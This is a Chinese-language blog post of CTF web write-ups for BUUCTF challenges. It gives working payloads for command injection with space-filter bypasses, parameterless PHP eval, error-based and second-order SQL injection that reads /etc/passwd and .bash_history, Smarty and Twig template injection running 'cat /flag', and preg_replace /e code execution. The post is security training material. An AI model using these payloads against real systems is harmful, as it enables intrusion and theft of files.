BUUCTF WEB(2020-2月刷題~)
開學遙遙無期,不知道該幹些什麼,上一個月完全沒有碰過題目
也是時候做一做題目了,不然真的玩了一個寒假,,,,,,
畢竟知識點也是需要鞏固的,,,,總是覺得自己還是太菜,,也不知道該怎麼學習,,,,,
除了刷題也不知道該幹啥,,,就這樣來吧,,
emmmm,一個月之前寫的了,還是發一下吧!!!
[GXYCTF2019]Ping Ping Ping
進入頁面得到一個提示:/?ip=
隨便輸入發現會顯示執行的結果:
發現可以使用"|"進行拼接實現命令執行:
之後發現過濾了空格,,,,
使用$IFS可以繞過,,,,,但是又過濾了flag,,,
想辦法進行繞過,發現反撇號沒有過濾,利用一種奇淫技巧,,
payload:
/?ip=111|cat$IFS`ls`
查看源代碼可得到flag:
還有一種方法,是使用變量,不過$IFS不起作用,要使用$IFS$9才能生效,,,
其實分號也沒有過濾,,,,
payload:
/?ip=111;a=g;cat$IFS$9fla$a.php
得到flag:
[GXYCTF2019]禁止套娃
其實這個比賽參加過,這個題也做出來了,,
顯示githack下載得到index.php的源碼:
<?php
include "flag.php";
echo "flag在哪裏呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
無參數的rce,極客大挑戰也有一道這種題目,,,,
通過:index.php?exp=var_dump(scandir(current(localeconv())));
查看目錄
可以看見倒數第二個是flag文件,需要我們讀取這個文件,,,
利用/index.php?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
讀取flag文件
array_reverse數組逆序,next表示下一個,readfile讀取文件內容:
[極客大挑戰 2019]HardSQL
這道題目做過,可以去看看我寫過的文章,不過有點不同的是這裏的flag比較長不能一下全部顯示
所以我們需要進行繞過,而且substr函數也不能使用
所以我們直接使用left函數和right函數就能得到完整的flag
payload:
http://fcf8a068-8e2b-447e-8db8-7e639d6e96c0.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23&password=123
http://fcf8a068-8e2b-447e-8db8-7e639d6e96c0.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123
[BJDCTF2020]The mystery of ip
這真的要老命了,,,,,,
主要是這個題目真的想不到,,,,,,
一開始進入頁面,發現有個flag.php進去後發現會顯示你的ip,hint有個是你知道我爲什麼知道你的ip嗎
發現通過xff能夠改變顯示,,,,127.0.0.1沒什麼卵用,,,,不可能是xss畢竟沒有登陸啥的,在這裏考啥,,,
總不可能是拿到cookie就給flag吧,SQL注入貌似也不太對勁,,,,,
後面看了wp才知道,,,是smarty,php的模板引擎,,,,模板注入,,,,
貼上flag.php的源碼:
<?php
require_once('header.php');
require_once('./libs/Smarty.class.php');
$smarty = new Smarty();
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
$ip=$_SERVER['REMOTE_ADDR'];
}
//$your_ip = $smarty->display("string:".$ip);
echo "<div class=\"container panel1\">
<div class=\"row\">
<div class=\"col-md-4\">
</div>
<div class=\"col-md-4\">
<div class=\"jumbotron pan\">
<div class=\"form-group log\">
<label><h2>Your IP is : ";
$smarty->display("string:".$ip);
echo " </h2></label>
</div>
</div>
</div>
<div class=\"col-md-4\">
</div>
</div>
</div>";
?>
</body>
</html></html> </h2></label>
</div>
</div>
</div>
<div class="col-md-4">
</div>
</div>
</div>
</body>
</html>
payload:
X-Forwarded-For:{{system("cat /flag")}}
得到:
[BJDCTF2020]ZJCTF,不過如此
這道題目前面很容易過,關鍵就是next.php這裏!
我們通過文件包含拿到next.php源碼:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
可以看見,關鍵的就是利用preg_replace,我們都知道preg_replace的/e模式能執行代碼
但是這裏的第二個參數已經給好了,所以我們也就是隻能執行相當於eval(strtolower("\1"));的語句了
考的就是preg_replace,參考這篇大佬的文章深入研究preg_replace與代碼執行
大佬的payload:.*=${phpinfo()}
還有一點就是\1這個東西,引用一下大佬的話:
這樣的引用將被匹配到的第n個捕獲子組捕獲到的文本替換, n可以是0-99,\0和$0代表完整的模式匹配文本,\1也就是匹配到的第一個子組,這裏的${phpinfo()}是將phpinfo()當作一個變量,此時匹配就變成:
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()})
;.*全部匹配${phpinfo()},由於這裏只有一組匹配項,所以\1=phpinfo(),轉換爲小寫不影響,成功構造出phpinfo()
雖有payload,但是空格 + [ ] . 等都會轉化成_,所以這裏的get傳參是不行的,所以換一種正則匹配
payload:
\S*=${phpinfo()}
我們這道題目直接把phpinfo替換成getFlag()就能夠實現命令執行了
所以這道題目的payload:
next.php?\S*=${getFlag()}&cmd=system('cat%20/flag');
得到flag:
[BJDCTF2020]Cookie is so stable
與之前的一個頁面很像,Smarty模板注入,這裏也進行了嘗試,,,,
flag頁面有提交數據的地方,進行嘗試,提交{{999*999}}
沒毛病,進行ssti嘗試,看看是哪個模板,,,,
開局一張圖,內容全靠編,,,,提交{{7*‘7’}}得到49,,,jinja2會顯示7777777
所以極有可能是Twig,,,,
參考鏈接:服務端模板注入攻擊
直接拿文中的payload打一下,得到flag:
注意一下,抓包發送第一次數據的時候在響應包session會有個user,,,,
所以要這樣構造。。
[GWCTF 2019]枯燥的抽獎
進入頁面發現是個猜數遊戲,,,,並且給出了一部分,,查看源碼的到信息check.php
進入得到源碼:
innPJDGjsG
<?php
#這不是抽獎程序的源代碼!不許看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽獎,就是那麼枯燥且無味,給你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>沒抽中哦,再試試吧</p>";
}
}
show_source("check.php");
php的僞隨機數,肯定是需要我們爆破種子,,,,貌似之前好像有比賽有過這種題目,差不多的解法吧
寫一個腳本還原成腳本能夠識別的數據:
#!/usr/bin/python
# -*- coding: utf-8 -*-
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='innPJDGjsG'
length = len(str2)
strs=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
strs+=str(j)+' '+str(j)+' '+'0'+' '+str(61)+' '
break
print(strs)
得到結果,利用腳本php_mt_rand4.0
運行得到:
copy源代碼過來,修改一下(php在線運行不行,得到的字符串不同,我fo了,卡了這麼久,以爲做錯了):
<?php
mt_srand(316769648);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
得到:
提交得到flag:
我低頭看了看電腦的時間,已經晚上10點多,唉,CTFer 的生活往往就是這麼枯燥且無味
[網鼎杯 2018]Comment
首先進入頁面,一個留言板,,留言需要登陸,
根據提示得到賬號和密碼:zhangwei:zhangwei666
進入頁面,能夠發帖和查看詳情,猜測存在二次注入,,,,嘗試無果,,,
掃描目錄,發現git泄露:
得到一個文件:
這個頁面正是詳情頁面留言的提交頁面:
查看源代碼,發現文件不全,,,換一個工具git_extract得到源碼:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
可以很明顯的看見是二次注入,$category這個變量只是經過簡單的轉義,就拼接到了sql語句中
由於這裏使用的是多行,,所以#無用,使用/**/進行註釋
利用點就在這裏:
我們進行寫入時,寫入$category爲',content=database(),/*
然後進入詳情頁面在留言處提交*/#
就能夠得到數據庫名:
我們可以看一下我們所構造的變量放入到sql語句中是什麼情況:
insert into comment
set category = '',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'
是的,content被我們覆蓋了,所以我們就可以構造任意的sql語句進行注入
然後查詢數據庫,結果掃描都查不出來,語句應該沒寫錯啊,,,,嘗試sql讀取文件:
',content=(select load_file('//etc/passwd')),/*
提交*/#
得到:
不過不知道flag文件所在何處,根目錄下貌似不存在,var/www/html中貌似也沒有,不知道何處下手
看了wp才知道可以讀取歷史文件,當前用戶的歷史文件路徑/home/www/.bash_history
構造讀取:
歷史使用的命令:
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
可以看見有個.DS_Store被刪除了,雖然這裏的這個文件被刪除了
但是原來複制過來的/tmp/html下還沒刪除啊,直接讀取看看:
啥玩意啊,使用hex讀取,然後轉ascii碼得到:
有一個flag_8946e1ff1ee3e40f.php文件
嘗試讀取',content=(select hex(load_file('//tmp/html/flag_8946e1ff1ee3e40f.php'))),/*
得到flag:
發現不對,坑~~ 讀取另一個文件
payload:',content=(select hex(load_file('//var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
得到: